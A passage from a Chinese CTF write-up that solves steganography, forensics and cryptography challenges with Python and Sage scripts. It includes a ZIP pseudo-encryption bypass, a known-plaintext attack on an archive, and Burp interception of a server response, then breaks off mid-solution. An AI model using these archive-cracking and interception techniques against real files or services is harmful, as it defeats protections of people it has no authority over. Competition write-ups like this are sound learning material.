000003e2: SWAP1
000003e3: JUMP
000003e4: JUMPDEST
000003e5: PUSH4 0x4e487b71
000003ea: PUSH1 0xe0
000003ec: SHL
000003ed: PUSH1 0x00
000003ef: MSTORE
000003f0: PUSH1 0x32
000003f2: PUSH1 0x04
000003f4: MSTORE
000003f5: PUSH1 0x24
000003f7: PUSH1 0x00
000003f9: REVERT
000003fa: JUMPDEST
000003fb: PUSH1 0x00
000003fd: PUSH1 0x00
000003ff: NOT
00000400: DUP3
00000401: EQ
00000402: ISZERO
00000403: PUSH2 0x041c
00000406: JUMPI
00000407: PUSH4 0x4e487b71
0000040c: PUSH1 0xe0
0000040e: SHL
0000040f: PUSH1 0x00
00000411: MSTORE
00000412: PUSH1 0x11
00000414: PUSH1 0x04
00000416: MSTORE
00000417: PUSH1 0x24
00000419: PUSH1 0x00
0000041b: REVERT
0000041c: JUMPDEST
0000041d: POP
0000041e: PUSH1 0x01
00000420: ADD
00000421: SWAP1
00000422: JUMP
00000423: INVALID
00000424: LOG2
00000425: PUSH5 0x6970667358
0000042b: INVALID
0000042c: SLT
0000042d: KECCAK256
0000042e: INVALID
0000042f: CREATE2
00000430: RETURNDATACOPY
00000431: CALLCODE
00000432: INVALID
00000433: DUP9
00000434: MSTORE
00000435: INVALID
00000436: ISZERO
00000437: INVALID
00000438: PUSH28 0x9bb3022bc8a24336f2487a7bf5ae23330390de2b9c64736f6c634300
00000455: ADDMOD
00000456: MULMOD
00000457: STOP
00000458: CALLER

MISC

调查问卷

 

直接出flag

是谁没有阅读参赛通知?

 

答案就在比赛规则当中

 

PNG Master

 

拖入随波逐流发现,一个是png文件追加隐写,还有一个是LSB隐写

 

 

 

分别进行一键解码:

flag1:4c494c4354467b
flag2:5930755f3472335f4d

 

通过解密的flag来看,应该还有一个flag3,通过随波逐流分析,应该存在于IDAT块还有一个flag

 

binwalk 直接解,然后得到几个关键位置

 


import os, re, sys, struct, zlib, bz2, lzma, binascii  
  
PNG = "151305_misc-PNG_M@st3r.png"  
SIGN_ZLIB = [b"\x78\x01", b"\x78\x5E", b"\x78\x9C", b"\x78\xDA"]  # 常见zlib CMF/FLG组合  
MAGICS = {  
    b"PK\x03\x04": "zip",  
    b"PK\x01\x02": "zip_cdir",  
    b"PK\x05\x06": "zip_eocd",  
    b"\x37\x7A\xBC\xAF\x27\x1C": "7z",  
    b"\x52\x61\x72\x21\x1A\x07\x00": "rar4",  
    b"\x52\x61\x72\x21\x1A\x07\x01\x00": "rar5",  
    b"\x1F\x8B": "gz",  
    b"\x42\x5A\x68": "bz2",  
    b"\xFD\x37\x7A\x58\x5A\x00": "xz",  
    b"\x28\xB5\x2F\xFD": "zst",  
    b"\x89PNG\r\n\x1a\n": "png",  
}  
  
def find_all(data: bytes, subs: list[bytes]):  
    hits = []  
    for sig in subs:  
        start = 0  
        while True:  
            i = data.find(sig, start)  
            if i == -1: break  
            hits.append((i, sig))  
            start = i + 1  
    hits.sort()  
    return hits  
  
def try_inflate(chunk: bytes):  
    # 1) zlib (wbits=+15 with gzip auto=16+15)  
    for wbits in (15, 16+15):  
        try:  
            dobj = zlib.decompressobj(wbits)  
            out = dobj.decompress(chunk)  
            used = len(chunk) - len(dobj.unused_data)  
            return out, used, "zlib" if wbits==15 else "gzip-auto"  
        except Exception:  
            pass  
    # 2) 原始 DEFLATE(少见)  
    try:  
        dobj = zlib.decompressobj(-15)  
        out = dobj.decompress(chunk)  
        used = len(chunk) - len(dobj.unused_data)  
        return out, used, "raw-deflate"  
    except Exception:  
        return None, 0, None  
  
def sniff(blob: bytes):  
    found = []  
    # 魔数  
    for sig, name in MAGICS.items():  
        if sig in blob:  
            found.append(name)  
    # tar: 查 'ustar' 与 512B 对齐  
    if b"ustar" in blob:  
        found.append("tar?")  
    # 简单 base64 片段  
    b64 = re.findall(rb"[A-Za-z0-9+/]{24,}={0,2}", blob)  
    if b64: found.append("base64_like")  
    # 可能的flag  
    if b"CTF{" in blob or b"LILCTF{" in blob or b"FLAG{" in blob:  
        found.append("FLAG_like")  
    return list(dict.fromkeys(found))  
  
def main():  
    if not os.path.exists(PNG):  
        print(f"[!] Not found: {PNG}")  
        sys.exit(1)  
    with open(PNG, "rb") as f:  
        data = f.read()  
  
    outdir = f"_inflated_{os.path.splitext(os.path.basename(PNG))[0]}"  
    os.makedirs(outdir, exist_ok=True)  
  
    # 先收集 binwalk 给的三个偏移(若存在),再加自动扫描  
    presets = [0x36, 0x13D, 0x6F7BF]  
    hits = [(o, b"\x78??") for o in presets if 0 <= o < len(data)]  
    # 自动扫描 zlib 头  
    hits += find_all(data, SIGN_ZLIB)  
    # 去重按偏移排序  
    seen = set()  
    uniq = []  
    for off, sig in sorted(hits):  
        if off in seen: continue  
        seen.add(off)  
        uniq.append((off, sig))  
  
    print(f"[*] Found {len(uniq)} candidate zlib streams")  
    for idx, (off, sig) in enumerate(uniq, 1):  
        chunk = data[off:]  
        inflated, used, how = try_inflate(chunk)  
        tag = f"{idx:02d}_off_{off:08X}"  
        if inflated is None or used <= 0:  
            print(f"  - [{tag}] FAIL inflate (sig={sig.hex() if isinstance(sig,bytes) else sig})")  
            continue  
        outbin = os.path.join(outdir, f"{tag}.{how}.inflated")  
        with open(outbin, "wb") as f:  
            f.write(inflated)  
        info = sniff(inflated)  
        head = binascii.hexlify(inflated[:32]).decode()  
        print(f"  - [{tag}] OK via {how}: used={used} bytes -> {outbin}")  
        print(f"      head(hex)={head}")  
        if info:  
            print(f"      sniff: {', '.join(info)}")  
  
    print("\n[+] Done. 查看目录:", outdir)  
    print("    提示:若某段是 IDAT 解出的扫描线,通常不可读;重点看最早的两段(多半是 iCCP/zTXt)。")  
    print("    若 sniff 到 zip/7z/rar/tar/gz 等,再单独对该 inflated 文件跑解包。")  
  
if __name__ == "__main__":  
    main()

得到两个文件,将其拖入010当中进行查看,发现其中有一个是PK开头的压缩包文件

 

改格式解压,得到一个txt文本

 

一个汉字3 4 字节,这个文件大小明显不对,所以猜测有文本隐写

 

编写脚本进行xor异或

import sys
import os
sf = r'C:\Users\kaqi\Downloads\png\_inflated_151305_misc-PNG_M@st3r\secret.bin'
name =  'secret'
with open(sf, 'rb') as sf:
    content = sf.read()
    result = bytearray()
    for i, b in enumerate(content):
        x = b ^ ord(name[i % len(name)])
        print(chr(x))
        result.append(x)
print(bytes(result))

 

v我50(R)MB

 

打开环境,先看看源码

 

把url拼一下:http://challenge.xinshi.fun:49476/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df

然后得到的是一张残缺的图片

 

然后考虑使用 curl看看:http://challenge.xinshi.fun:49476/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df

发现还是一个样

 

然后回头看题目

 

操作是:得到一张图片 => 转格式 => 更新数据库 => 显示异常。

直接分析:得到的图片,格式未知,png jpg jpeg tiff

转格式后:webp

更新数据库:/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df

经过测试是png文件,png 图片还在,那么就是文件类型和返回不一致的错误。

根据http请求文件是根据content-type来的,在浏览器请求时,返回的文件类型与content-type不一致,造成截断。

其他可能的问题:懒加载、缓存。

测试得到源文件是png,所以先请求看一下,直接确定就是截断问题。50M(题目是1MB)的东西就给10086字节(10kb)

 

经过测试修改 http header content-type image/png 也下载不到,那么说明后端逻辑不处理这个,用 burpsuite 在数据被改掉前抓响应。

 

保存下来就是原图

 

提前放出附件

 

一开始拿到这玩意不知道怎么整,直接硬解一个0kb的flag.tar,也没啥用

后面试着用010打开把加密去掉,没想到是伪加密。

然后解压得到一个flag.tar,但好像没啥用

 

然后不会了,搜一下,发现tar也可以明文攻击,但是没文章,ai一下

 

 

用常见套路猜

-C 有加密的zip

-c zip 里面的文件名

-x 起始偏移0(从第一个字节开始就是猜测的)+猜测的 flag.txt 补 0(更长的文件名)

 

 

如果不猜测文件名,那可以根据tar头的大段连续 NUL字节进行爆破

-x 8:假设文件名长度≤8

Crypto

ez_math


题目:


from sage.all import *
from Crypto.Util.number import *

flag = b'LILCTF{test_flag}'[7:-1]
lambda1 = bytes_to_long(flag[:len(flag)//2])
lambda2 = bytes_to_long(flag[len(flag)//2:])
p = getPrime(512)
def mul(vector, c):
    return [vector[0]*c, vector[1]*c]

v1 = [getPrime(128), getPrime(128)]
v2 = [getPrime(128), getPrime(128)]

A = matrix(GF(p), [v1, v2])
B = matrix(GF(p), [mul(v1,lambda1), mul(v2,lambda2)])
C = A.inverse() * B

print(f'p = {p}')
print(f'C = {str(C).replace(" ", ",").replace("\n", ",").replace("[,", "[")}')

# p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
# C = [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]

题目分析:
flag 处理:
原始 flag 格式为LILCTF{xxx},去除前后缀后分为两部分,通过bytes_to_long转换为整数lambda1和lambda2。
矩阵构造:
生成 512 位素数p,定义两个由 128 位素数组成的向量v1 = [a, b]、v2 = [c, d]。
构造矩阵A(行向量为v1、v2)和矩阵B(行向量为v1lambda1、v2lambda2)。
计算C = A^{-1} * B(A的逆矩阵与B的乘积),并输出p和C。
解题思路:
步骤 1:提取矩阵 C 的元素
根据题目输出,矩阵C为 2x2 矩阵:

plaintext
C = [[a, b],

 [c, d]]

其中:

a = 7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645
b = 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801
c = 7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808
d = 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872
步骤 2:计算特征多项式
对于 2x2 矩阵C,特征多项式为:
f(x) = x² - tr(C)·x + det(C)
其中:

迹tr(C) = a + d(主对角线元素之和)
行列式det(C) = a·d - b·c(主对角线乘积减去副对角线乘积)
步骤 3:求解特征值(即 lambda1 和 lambda2)
特征值是特征方程f(x) = 0的根,由求根公式得:
x = [tr(C) ± √(tr(C)² - 4·det(C))] / 2

计算过程需在有限域GF(p)中进行:

计算判别式D = (tr(C)² - 4·det(C)) mod p
求D在GF(p)中的平方根s(即s² ≡ D mod p)
计算根:lambda1 = (tr(C) + s) · inv(2) mod p,lambda2 = (tr(C) - s) · inv(2) mod p(inv(2)是 2 在GF(p)中的逆元,可由费马小定理计算:inv(2) = 2^(p-2) mod p)
步骤 4:还原 flag
将lambda1和lambda2通过long_to_bytes转换为字节串。
拼接两个字节串,得到 flag 的中间部分。
加上前缀LILCTF{和后缀},即为完整 flag。
解密脚本:


from typing import Tuple
'''
已知:
素数 p
向量 v1, v2 ∈ (GF(p))^2
A = [v1; v2](把 v1, v2 作为两行组成 2×2 矩阵)
B = [λ1 v1; λ2 v2]
C = A^{-1} B(题面给出)

利用相似对角化的性质
C 的特征值就是 λ1, λ2 (mod p)

把 λ1, λ2 当作 bytes_to_long 的逆(大端)转换回字节
得到 flag 中括号内部的“前半/后半
两段再按正确顺序拼接,前后包上前缀/后缀即可。
'''

def modinv(a: int, p: int):
    return pow(a, -1, p)

def legendre_symbol(a: int, p: int):
    ls = pow(a % p, (p - 1) // 2, p)
    if ls == p - 1:
        return -1
    return ls

def tonelli_shanks(n: int, p: int):
    n %= p
    if n == 0:
        return 0
    if p == 2:
        return n
    if legendre_symbol(n, p) != 1:
        raise ValueError("n is not a quadratic residue mod p")

    if p % 4 == 3:
        return pow(n, (p + 1) // 4, p)

    q = p - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1

    z = 2
    while legendre_symbol(z, p) != -1:
        z += 1

    m = s
    c = pow(z, q, p)
    t = pow(n, q, p)
    r = pow(n, (q + 1) // 2, p)

    while t != 1:
        i = 1
        t2i = pow(t, 2, p)
        while i < m and t2i != 1:
            t2i = pow(t2i, 2, p)
            i += 1
        if i == m:
            raise ValueError("No square root found")

        b = pow(c, 1 << (m - i - 1), p)
        r = (r * b) % p
        c = (b * b) % p
        t = (t * c) % p
        m = i

    return r

def long_to_bytes(n: int) -> bytes:
    if n == 0:
        return b"\x00"
    l = (n.bit_length() + 7) // 8
    return n.to_bytes(l, "big")

# ---------- core solver ----------
def recover_lambdas_from_C(p: int, C: Tuple[Tuple[int,int], Tuple[int,int]]) -> Tuple[int, int]:
    a, b = C[0]
    c, d = C[1]
    tr = (a + d) % p
    det = (a * d - b * c) % p
    disc = (tr * tr - 4 * det) % p
    sqrt_disc = tonelli_shanks(disc, p)
    inv2 = modinv(2, p)
    lam1 = ((tr + sqrt_disc) * inv2) % p
    lam2 = ((tr - sqrt_disc) * inv2) % p
    return lam1, lam2

def try_recover_flag(p: int, C: Tuple[Tuple[int,int], Tuple[int,int]], prefix="LILCTF{", suffix="}"):
    lam1, lam2 = recover_lambdas_from_C(p, C)
    b1 = long_to_bytes(lam1)
    b2 = long_to_bytes(lam2)

    # 两种可能的拼接顺序:前半+后半 或 后半+前半
    candidates = [
        prefix + (b1 + b2).decode(errors="replace") + suffix,
        prefix + (b2 + b1).decode(errors="replace") + suffix,
    ]
    return (lam1, lam2, b1, b2, candidates)

# ---------- paste your challenge data here ----------
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = (
    (7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,
     7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801),
    (7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,
     2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872)
)

if __name__ == "__main__":
    lam1, lam2, b1, b2, flags = try_recover_flag(p, C)

    print("[+] eigenvalues (lambda1, lambda2):")
    print(lam1)
    print(lam2)
    print("\n[+] bytes halves (hex):")
    print("lam1:", b1.hex())
    print("lam2:", b2.hex())

    print("\n[+] candidate flags:")
    for s in flags:
        print(s)

mid_math

题目:


from sage.all import *
from Crypto.Util.number import *
from tqdm import tqdm
from random import randint
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

flag = b'LILCTF{test_flag}'

p = getPrime(64)
P = GF(p)

key = randint(2**62, p)

def mul(vector, c):
    return [vector[0]*c, vector[1]*c, vector[2]*c, vector[3]*c, vector[4]*c]

v1 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v2 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v3 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v4 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v5 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
a, b, c, d, e = getPrime(64), getPrime(64), getPrime(64), getPrime(64),  0

A = matrix(P, [v1, v2, v3, v4, v5])
B = matrix(P, [mul(v1,a), mul(v2,b), mul(v3, c), mul(v4, d), mul(v5, e)])
C = A.inverse() * B
D = C**key

key = pad(long_to_bytes(key), 16)
aes = AES.new(key,AES.MODE_ECB)
msg = aes.encrypt(pad(flag, 64))

print(f"p = {p}")
print(f'C = {[i for i in C]}'.replace('(', '[').replace(')', ']'))
print(f'D = {[i for i in D]}'.replace('(', '[').replace(')', ']'))
print(f"msg = {msg}")

#p = 14668080038311483271
#C = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
#D = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
#msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"

题目分析:

解题思路:




自我总结:
首先分析代码逻辑可知,核心是通过矩阵运算隐藏密钥key,再用key加密flag。解题需从已知的p、矩阵CD和加密消息msg中还原key,进而解密flag。 1. 矩阵关系分析:代码中C = A⁻¹·BB由向量v1~v5分别乘以a,b,c,d,0构成,故C与对角矩阵K=diag(a,b,c,d,0)相似(即C = A⁻¹·K·A)。D = C^key,根据相似矩阵性质,DK^key=diag(a^key,b^key,c^key,d^key,0)也相似。 2. 特征值关联:相似矩阵特征值相同,因此C的特征值为a,b,c,d,0D的特征值为a^key,b^key,c^key,d^key,0。即D的非零特征值是C对应非零特征值的key次方(模p)。 3. 求解离散对数:在有限域GF(p)中,对C的非零特征值λD的对应非零特征值μ,存在λ^key ≡ μ (mod p)。通过离散对数算法(如Pohlig-Hellman)求解该方程,得到key。 4. 解密flag:将key转换为字节并处理为16字节AES密钥,用AES-ECB模式解密msg,去除填充后即可得到flag。

解密脚本:


# -*- coding: utf-8 -*-
# 需要在 SageMath 环境下运行

# 明确导入所需 SageMath 模块
import sage.all
from sage.rings.finite_rings.finite_field_constructor import GF
from sage.matrix.constructor import matrix
from sage.groups.generic import discrete_log

# 导入 Crypto 库
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES

# --- 输入数据 (从加密脚本输出复制) ---
p = 14668080038311483271
C_data = [
    [11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
    [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
    [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
    [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
    [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]
]
D_data = [
    [1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
    [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
    [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
    [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
    [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]
]
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
# --- 输入数据结束 ---


def solve_dlog(base, res, modulus):
    """使用 SageMath 的 discrete_log 求解离散对数"""
    F = GF(modulus)
    try:
        # 对于 small characteristic fields 或 small order elements, discrete_log is feasible
        key_candidate = discrete_log(F(res), F(base))
        return int(key_candidate)
    except ValueError as e:
        print(f"计算离散对数时出错 (base={base}, res={res}): {e}")
        return None

def derive_aes_key(integer_key):
    """根据整数 key 派生 16 字节 AES 密钥"""
    key_bytes = long_to_bytes(integer_key)
    # AES-128 需要 16 字节密钥,AES-192 需要 24 字节,AES-256 需要 32 字节
    # 加密脚本使用 pad(key_bytes, 16),这通常意味着生成 16 字节密钥 (AES-128)
    padded_key = pad(key_bytes, 16)
    return padded_key

def attempt_decrypt(padded_key, ciphertext):
    """尝试使用给定密钥解密"""
    try:
        aes = AES.new(padded_key, AES.MODE_ECB)
        decrypted_data = aes.decrypt(ciphertext)
        # 尝试去除填充 (原始填充到64字节)
        unpadded_data = unpad(decrypted_data, 64)
        flag = unpadded_data.decode()
        if flag.startswith('LILCTF{') and flag.endswith('}'):
             print(f"[+] 解密成功! 找到 Flag: {flag}")
             return True
        else:
             print(f"[-] 解密成功但内容不像是 Flag: {flag}")
             return False
    except (ValueError, UnicodeDecodeError) as e:
        # print(f"  -> 解密失败: {type(e).__name__} - {e}")
        return False

def main():
    global p, C_data, D_data, msg

    P = GF(p)

    C = matrix(P, C_data)
    D = matrix(P, D_data)

    print(f"[*] 加载模数 p = {p}")
    print("[*] 加载矩阵 C 和 D")

    # 计算并配对特征值
    eigenvalues_C = list(C.eigenvalues())
    eigenvalues_D = list(D.eigenvalues())
    
    # 通过排序和索引配对来确保正确性
    ev_pair_list = list(zip(eigenvalues_C, eigenvalues_D))
    # 按照 C 的特征值排序
    ev_pair_list.sort(key=lambda x: x[0])

    print(f"[*] 计算得到 {len(ev_pair_list)} 对特征值 (C_val, D_val):")
    for i, (c_val, d_val) in enumerate(ev_pair_list):
         print(f"    Pair {i+1}: ({c_val}, {d_val})")


    found_key = None
    print("[*] 开始尝试求解 key...")
    
    # 遍历所有特征值对
    for i, (c_val, d_val) in enumerate(ev_pair_list):
        # 避免使用 0, 1 作为底数,因为它们的幂没有信息量
        if c_val != 0 and c_val != 1 and d_val != 0:
            print(f"[*] 使用特征值对 {i+1} 求解离散对数: base={c_val}, result={d_val}")
            temp_key = solve_dlog(c_val, d_val, p)
            if temp_key is not None:
                print(f"[+] 找到一个候选 key: {temp_key}")
                found_key = temp_key
                # 一旦找到一个,就尝试用它解密
                print("[*] 尝试使用此 key 派生 AES 密钥并解密...")
                aes_key = derive_aes_key(found_key)
                print(f"    派生的 AES 密钥 (hex): {aes_key.hex()}")
                if attempt_decrypt(aes_key, msg):
                    # 如果解密成功并找到 flag,就退出
                    return
                else:
                    print("[-] 使用此 key 解密失败。")

    if found_key is None:
        print("[-] 无法通过任何特征值对计算出 key。")
        return
    
    # 如果循环结束还没有返回,说明所有候选 key 都解密失败
    # 这可能意味着 key 不唯一(模阶数),或者有其他问题
    print("[-] 所有找到的候选 key 均未能成功解密。")


if __name__ == "__main__":
    main()



Linear

题目:


import os
import random
import signal

signal.alarm(10)

flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")

nrows = 16
ncols = 32

A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
x = [random.randint(1, 114514) for _ in range(ncols)]

b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
print(A)
print(b)

xx = list(map(int, input("Enter your solution: ").strip().split()))
if xx != x:
    print("Oh, your linear algebra needs to be practiced.")
else:
    print("Bravo! Here is your flag:")
    print(flag)

题目分析:
已知 16×32 矩阵A和 16 维向量b,满足b = A · x(矩阵乘法),求解 32 维向量x。
这是一个欠定线性方程组问题:方程数量(16)小于未知数数量(32),但由于x是唯一确定的随机数(题目设定),因此存在唯一解。
解题思路:
获取已知数据:捕获程序输出的矩阵A和向量b
构建方程组:将问题转化为求解线性方程组A · x = b
求解方程组:使用线性代数工具(如 numpy)求解欠定方程组,得到x的解
验证解的正确性:将解代入A · x验证是否等于b(处理浮点数精度问题,需转换为整数)
解题脚本:

#!/usr/bin/env sage -python

import socket
import sys
import time
import ast
from sage.all import *

def recv_until(sock, sentinel=b"Enter your solution:", timeout=20.0, max_bytes=10_000_000):
    sock.settimeout(timeout)
    data = bytearray()
    while True:
        chunk = sock.recv(65536)
        if not chunk:
            break
        data += chunk
        if sentinel in data:
            break
        if len(data) > max_bytes:
            raise RuntimeError("Received too much data without finding the prompt.")
    return bytes(data)

def _slice_first_bracketed(s, start=0):
    """在 s[start:] 中切出第一段完整的 [ ... ],返回 (segment, end_index_after_segment)。"""
    n = len(s)
    i = s.find('[', start)
    if i < 0:
        return None, -1
    depth = 0
    for j in range(i, n):
        c = s[j]
        if c == '[':
            depth += 1
        elif c == ']':
            depth -= 1
            if depth == 0:
                return s[i:j+1], j+1
    return None, -1

def parse_A_b_from_text(text):
    """
    文本中前两段 bracketed 列表即 A 与 b。
    A 是 16x32,b 是长度 16。
    """
    segA, idx = _slice_first_bracketed(text, 0)
    if segA is None:
        raise ValueError("Cannot find matrix A in stream.")
    segB, _ = _slice_first_bracketed(text, idx)
    if segB is None:
        raise ValueError("Cannot find vector b in stream.")
    try:
        A_list = ast.literal_eval(segA)
        B_list = ast.literal_eval(segB)
    except Exception:
        # 容错清洗
        segA2 = "".join(ch for ch in segA if ch in "0123456789,-[] \n\r\t")
        segB2 = "".join(ch for ch in segB if ch in "0123456789,-[] \n\r\t")
        A_list = ast.literal_eval(segA2)
        B_list = ast.literal_eval(segB2)

    if not (isinstance(A_list, list) and isinstance(A_list[0], list)):
        raise ValueError("Parsed A is not a 2D list.")
    if not (isinstance(B_list, list) and all(isinstance(x, (int,)) for x in B_list)):
        raise ValueError("Parsed b is not a 1D int list.")
    return A_list, B_list

# ---------- LLL lattice solve ----------
def solve_by_lll(A_list, b_list, M=(1<<40), beta=1, max_tries=3):
    """
    构造行基:
        对每列 j: [beta*e_j ; M*A[:,j] ; 0]
        额外一行: [0 ; M*b ; 1]
    目标向量属于该格: [beta*x ; 0 ; -1]
    通过 LLL 后在基中/其整线性组合里找“中段全 0 且末位 ≠ 0”的短向量 v,
    设 v = [top ; 0 ; last],则有 A*top = -last*b,所以解 x = -top/last。
    """
    A = Matrix(ZZ, A_list)
    b = vector(ZZ, b_list)
    m, n = A.nrows(), A.ncols()

    for t in range(max_tries):
        # 构造行格基
        rows = []
        for j in range(n):
            top = [0]*n
            top[j] = beta
            mid = list((M * A.column(j)).list())
            rows.append(vector(ZZ, top + mid + [0]))
        rows.append(vector(ZZ, [0]*n + list((M*b).list()) + [1]))

        G = Matrix(ZZ, rows)   # (n+1) x (n+m+1) 例:33 x 49
        G_lll = G.LLL()

        # 先精确匹配:mid 全 0、last ≠ 0
        for r in G_lll.rows():
            last = int(r[n + m])
            if last == 0:
                continue
            mid  = r[n : n + m]
            if all(int(x) == 0 for x in mid):
                top = r[0:n]
                # 一般情形:x = -top/last
                if all(top[i] % last == 0 for i in range(n)):
                    cand = vector(ZZ, [ -int(top[i] // last) for i in range(n) ])
                    if A * cand == b:
                        return [int(v) for v in cand]
                # 若整除失败,跳过,继续找下一条
        # 若没找到,放大 M 再试
        M <<= 8

    # 失败
    raise RuntimeError("LLL extraction failed; try increasing initial M or max_tries.")

def main(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        print(f"[*] Connected to {host}:{port}")
        buf = recv_until(s)
        text = buf.decode("utf-8", errors="replace")

        A_list, b_list = parse_A_b_from_text(text)
        print(f"[*] Parsed A: {len(A_list)}x{len(A_list[0])}, b: {len(b_list)}")

        x = solve_by_lll(A_list, b_list)
        line = " ".join(str(v) for v in x) + "\n"

        s.sendall(line.encode("utf-8"))
        print("[*] Sent solution; waiting for response...")
        time.sleep(0.2)
        try:
            s.settimeout(5.0)
            resp = s.recv(65536)
            if resp:
                print(resp.decode("utf-8", errors="replace"))
        except socket.timeout:
            pass

if __name__ == "__main__":
    HOST = "challenge.xinshi.fun"
    PORT = 32910
    if len(sys.argv) == 3:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    main(HOST, PORT)

Space Travel

步骤 1:分析脚本逻辑,明确目标

脚本的核心流程如下:

生成一个key(整数),由params.vecs中 50 个元素拼接的二进制串转换而来。

输出 600 组样本:每组包含nonce(随机大整数)和b = (二进制中“1”的个数在nonce & key中占比的奇偶性)。

用key的 MD5 哈希作为 AES 密钥,以 CTR 模式加密 flag 并输出密文。

目标:获取key,再用 AES 解密得到 flag。

步骤 2:将样本转化为线性方程组

样本中b的本质是线性约束:

对于每组样本(nonce_i, b_i),b_i = (popcount(nonce_i & key)) % 2,其中popcount(x)表示x二进制中 “1” 的个数。

设key的二进制位为k_0, k_1, ..., k_m(k_j为 0 或 1,m+1是key的总位数)。

设nonce_i的二进制位为n_{i0}, n_{i1}, ..., n_{im}(n_ij为 0 或 1)。

则nonce_i & key的二进制中 “1” 的个数,等价于key和nonce_i中 “1” 位重合的数量,其奇偶性满足:

n_{i0}k_0 + n_{i1}k_1 + ... + n_{im}*k_m ≡ b_i (mod 2)

这是GF (2) 域上的线性方程,600 组样本对应 600 个方程,未知数是k_0~k_m。

步骤 3:确定key的位数

key由 50 个vecs元素拼接而成,需推断vecs元素的长度:

脚本中vecs的索引是int.from_bytes(urandom(2)) & 0xfff,0xfff是 12 位最大数(0~4095),因此vecs大概率包含 4096 个元素(对应 12 位索引)。

通常vecs的每个元素是12 位二进制串(与索引位数匹配),因此key总位数为50*12=600位(即m=599)。

步骤 4:求解线性方程组

通过 600 个方程求解 600 个未知数(k_0~k_599),步骤如下:

解析样本:提取 600 组(nonce_i, b_i),将nonce_i转换为 600 位二进制(取低 600 位,高位不影响与key的运算),得到n_{ij}。

构建矩阵:构造 600×601 的增广矩阵(前 600 列是n_{ij},最后一列是b_i)。

